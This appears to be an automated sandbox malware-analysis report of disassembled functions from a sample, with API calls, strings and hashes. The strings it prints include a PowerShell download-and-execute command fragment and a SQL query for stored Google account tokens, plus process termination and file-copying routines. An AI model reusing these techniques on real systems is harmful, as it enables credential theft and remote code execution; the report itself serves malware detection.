Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

lstrlenA.KERNEL32(?), ref: 00FE9C45

Part of subcall function 00FF2042: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00FF6B0E,?), ref: 00FF205A

StrStrA.SHLWAPI(00000000,AccountId), ref: 00FE9C62
lstrlenA.KERNEL32(?), ref: 00FE9D11
lstrlenA.KERNEL32(?), ref: 00FE9D2C

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Strings

AccountId, xrefs: 00FE9C5C
SELECT service, encrypted_token FROM token_service, xrefs: 00FE9BB4
GoogleAccounts, xrefs: 00FE9B23
GoogleAccounts, xrefs: 00FE9ACC

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$lstrcat$AllocLocal
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 3306365304-1713091031
Opcode ID: a10a0e1a11f63eca3e5054fa528d301215f87e15206eec21a957b1e6d38b48d7
Instruction ID: f7723821b9d0617f8e3133eb024ac191b2c83d10ff6dd7d623231524ca22a8f5
Opcode Fuzzy Hash: a10a0e1a11f63eca3e5054fa528d301215f87e15206eec21a957b1e6d38b48d7
Instruction Fuzzy Hash: BB81F632900159ABCF40FBB6ED469EEB774AF04304F510421FA00B7166DBBABE45ABD0

Function 6CD64166 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6CD64285
___TypeMatch.LIBVCRUNTIME ref: 6CD64393
CallUnexpected.LIBVCRUNTIME ref: 6CD64500

Strings

csm, xrefs: 6CD642BC
csm, xrefs: 6CD641A3
csm, xrefs: 6CD64210

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: 1a7227f8a6beeb7cad78df4554e20b88dd6cbd64e0bb3943ea998c1dc4eebcd9
Instruction ID: 2d6dc12a98580103cdde8be4c93634aed3c8f50c289a4f938a0cd733b5b94042
Opcode Fuzzy Hash: 1a7227f8a6beeb7cad78df4554e20b88dd6cbd64e0bb3943ea998c1dc4eebcd9
Instruction Fuzzy Hash: C1B1AE75801209EFCF05CFA6C8909DEBBB5FF08318F24465AE8106BE21D771EA55CBA1

Function 6CD4ABE0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 250COMMONLIBRARYCODE

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CD4AD37
GetEnvironmentVariableW.KERNEL32(?,00000002,00000000), ref: 6CD4AD42
GetLastError.KERNEL32 ref: 6CD4AD4E
GetLastError.KERNEL32 ref: 6CD4AD60

Strings

internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs, xrefs: 6CD4AEC3

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID: internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs
API String ID: 2691138088-1921098361
Opcode ID: 841b54c9bfa255c83020ec056c58db4ebba05f7cc92109e6fad8f1e084f1bd2a
Instruction ID: c8f9c4958f8fce1d1d83ff28d1690f7f40a8a5329124a59980f278b294c9e4c1
Opcode Fuzzy Hash: 841b54c9bfa255c83020ec056c58db4ebba05f7cc92109e6fad8f1e084f1bd2a
Instruction Fuzzy Hash: E7A19CB5E00219DFEB10CF94DC45B9EBBB9BF48718F144124EA18BB761E7309948CBA0

Function 6CD4A9E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CD4AAA7
GetCurrentDirectoryW.KERNEL32(00000000,00000002), ref: 6CD4AAAF
GetLastError.KERNEL32 ref: 6CD4AABB
GetLastError.KERNEL32 ref: 6CD4AACD
GetLastError.KERNEL32 ref: 6CD4AB5D

Strings

internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs, xrefs: 6CD4AB8A

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: ErrorLast$CurrentDirectory
String ID: internal error: entered unreachable codeassertion failed: self.is_char_boundary(new_len)/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs
API String ID: 3993060814-1921098361
Opcode ID: 98f8167fda4f1bb0c2db178868d9db81449babb320ceeab1c162ba6e010fb0b0
Instruction ID: 7994b3eaa615d54691d32d71b46b23d5bf6546d585ffd4f806ac1163290cfbf9
Opcode Fuzzy Hash: 98f8167fda4f1bb0c2db178868d9db81449babb320ceeab1c162ba6e010fb0b0
Instruction Fuzzy Hash: 2D51F5B1D006189BEB10CF98D989BEEBBB9AF49714F148125E908B7750E7749908CBA1

Function 00FF2F3F Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

ShellExecuteEx.SHELL32(?), ref: 00FF308F

Strings

.ps1, xrefs: 00FF2FC2
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00FF2FE7
C:\ProgramData\, xrefs: 00FF2F72
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00FF302A
')", xrefs: 00FF2FE2

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-1989157005
Opcode ID: cf1593323465116a95a21a3475c1557c006fdba61382aaa93de7a766626b3fd3
Instruction ID: 67e7137c35237983837848a5de4156bf47954c74cde0e2e62bbff184e31e771a
Opcode Fuzzy Hash: cf1593323465116a95a21a3475c1557c006fdba61382aaa93de7a766626b3fd3
Instruction Fuzzy Hash: A641B732D0021D9ACF50FBA6DC829DDB7B8BF04700F514566FA40B7122DBB97E46AB80

Function 6CD63A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6CD63A57
___except_validate_context_record.LIBVCRUNTIME ref: 6CD63A5F
_ValidateLocalCookies.LIBCMT ref: 6CD63AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 6CD63B13
_ValidateLocalCookies.LIBCMT ref: 6CD63B68

Strings

csm, xrefs: 6CD63AFD

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 734f88ae84928aa4bc25df349bbd2e5c93125aff60047da9e58f19eba61f3891
Instruction ID: 351296bd1124951ffe37b5a25a2d5dee50b4681c3a97b87733b4cdc621a4ad06
Opcode Fuzzy Hash: 734f88ae84928aa4bc25df349bbd2e5c93125aff60047da9e58f19eba61f3891
Instruction Fuzzy Hash: 61417134A01258EFCF00CF6AC890ADEBBB5AF45318F14815AE9159BF61D731DA19CFA0

Function 00FF5FD4 Relevance: 10.6, APIs: 7, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00FF6063

Part of subcall function 00FF1FDF: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00FF2020

lstrcatA.KERNEL32(?,00000000), ref: 00FF6080
lstrcatA.KERNEL32(?,?), ref: 00FF609F
lstrcatA.KERNEL32(?,?), ref: 00FF60B3
lstrcatA.KERNEL32(?), ref: 00FF60C6
lstrcatA.KERNEL32(?,?), ref: 00FF60DA
lstrcatA.KERNEL32(?), ref: 00FF60ED

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF1FB5: GetFileAttributesA.KERNEL32(?,?,?,00FEDC33,?,?,?), ref: 00FF1FBC

Part of subcall function 00FF5CE8: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00FF5D0D
Part of subcall function 00FF5CE8: HeapAlloc.KERNEL32(00000000), ref: 00FF5D14
Part of subcall function 00FF5CE8: wsprintfA.USER32 ref: 00FF5D2D
Part of subcall function 00FF5CE8: FindFirstFileA.KERNEL32(?,?), ref: 00FF5D44
Part of subcall function 00FF5CE8: StrCmpCA.SHLWAPI(?,01015A80), ref: 00FF5D65
Part of subcall function 00FF5CE8: StrCmpCA.SHLWAPI(?,01015A84), ref: 00FF5D7F
Part of subcall function 00FF5CE8: wsprintfA.USER32 ref: 00FF5DA6
Part of subcall function 00FF5CE8: CopyFileA.KERNEL32(?,?,00000001), ref: 00FF5E63
Part of subcall function 00FF5CE8: DeleteFileA.KERNEL32(?), ref: 00FF5E86

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyDeleteFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 1546541418-0
Opcode ID: 7df4cadde2e939801d587a455067e8f128d6d8439723736cf1389152f1ac7896
Instruction ID: 097db5042e005457472e1ccc40ba673832dd93cf869383100440e893bdb5f5d3
Opcode Fuzzy Hash: 7df4cadde2e939801d587a455067e8f128d6d8439723736cf1389152f1ac7896
Instruction Fuzzy Hash: F051EAB1A0011C9FCB64DB64DC89ADDB7B9BB5C310F8044E6E709E3254EA34AB89DF54

Function 6CD684CF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6CD685DE,00000000,6CD65DDF,00000000,00000000,00000001,?,6CD68757,00000022,FlsSetValue,6CDAEF80,6CDAEF88,00000000), ref: 6CD68590

Strings

ext-ms-, xrefs: 6CD6853A
api-ms-, xrefs: 6CD68526

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: d4f8080c1c397432294b326b387f9b98cc97df787982153d01f5d966fd636033
Instruction ID: b3eee63936de1b5d57023cb5af5a7bd74e750123298ecb68a9d43dc701cd61e2
Opcode Fuzzy Hash: d4f8080c1c397432294b326b387f9b98cc97df787982153d01f5d966fd636033
Instruction Fuzzy Hash: 3721C671A01251EBEB119B67CC54A8A377CAB437A8F240617EB15A7EA0D730EA05C7E1

Function 6CD50EE0 Relevance: 10.6, APIs: 7, Instructions: 65networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(00000002,6CD52BD4,00000000,00000000,00000000,00000081), ref: 6CD50F0C
WSAGetLastError.WS2_32(?,6CD52BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6CD1BF6E,?,00000004), ref: 6CD50F24
WSASocketW.WS2_32(00000002,6CD52BD4,00000000,00000000,00000000,00000001), ref: 6CD50F42
SetHandleInformation.KERNEL32(00000000,00000001,00000000,?,6CD52BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6CD1BF6E), ref: 6CD50F54
WSAGetLastError.WS2_32(?,6CD52BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6CD1BF6E,?,00000004), ref: 6CD50F6B
GetLastError.KERNEL32(?,6CD52BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6CD1BF6E,?,00000004), ref: 6CD50F7C
closesocket.WS2_32(00000000), ref: 6CD50F8C

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: ErrorLast$Socket$HandleInformationclosesocket
String ID:
API String ID: 3114377017-0
Opcode ID: f33a1d614218dc49c0a21fcab5106b62d4ebc46593e0e968a7ee9be7b2a37d7b
Instruction ID: 9cf209f56bc9e359660d149dbfe8dccc663dae82997ce7c1dccf84536711906e
Opcode Fuzzy Hash: f33a1d614218dc49c0a21fcab5106b62d4ebc46593e0e968a7ee9be7b2a37d7b
Instruction Fuzzy Hash: B111B970244780EBFF214F24CD49B167BF8EB42B54F604519FA99DBAD0D7B5E4408720

Function 00FFF4C2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 00FFF50B
DName::operator+.LIBCMT ref: 00FFF512
DName::DName.LIBCMT ref: 00FFF534
DName::operator+.LIBCMT ref: 00FFF53B
DName::operator+.LIBCMT ref: 00FFF542

Strings

throw(, xrefs: 00FFF503, 00FFF52C

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: 34961059821d3457211304a6bf64834a3401218a89d7f7b21d83fefc4cbc93e6
Instruction ID: 73d97f1d5731a25c4019d555bef878b19da05f93455e2cbfb5de93f9464604d8
Opcode Fuzzy Hash: 34961059821d3457211304a6bf64834a3401218a89d7f7b21d83fefc4cbc93e6
Instruction Fuzzy Hash: 0A016D31A0020DAECF14DFA4DC92DBE3BB5EF44704F044068F6059B2A5DA789949AB84

Function 00FF2A89 Relevance: 10.5, APIs: 7, Instructions: 49processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,10000000), ref: 00FF2AAB
Process32First.KERNEL32(00000000,00000128), ref: 00FF2ABF
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00FF2AE5
TerminateProcess.KERNEL32(00000000,00000000), ref: 00FF2AF4
CloseHandle.KERNEL32(00000000), ref: 00FF2AFB
Process32Next.KERNEL32(?,00000128), ref: 00FF2B0E
CloseHandle.KERNEL32(?), ref: 00FF2B1E

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
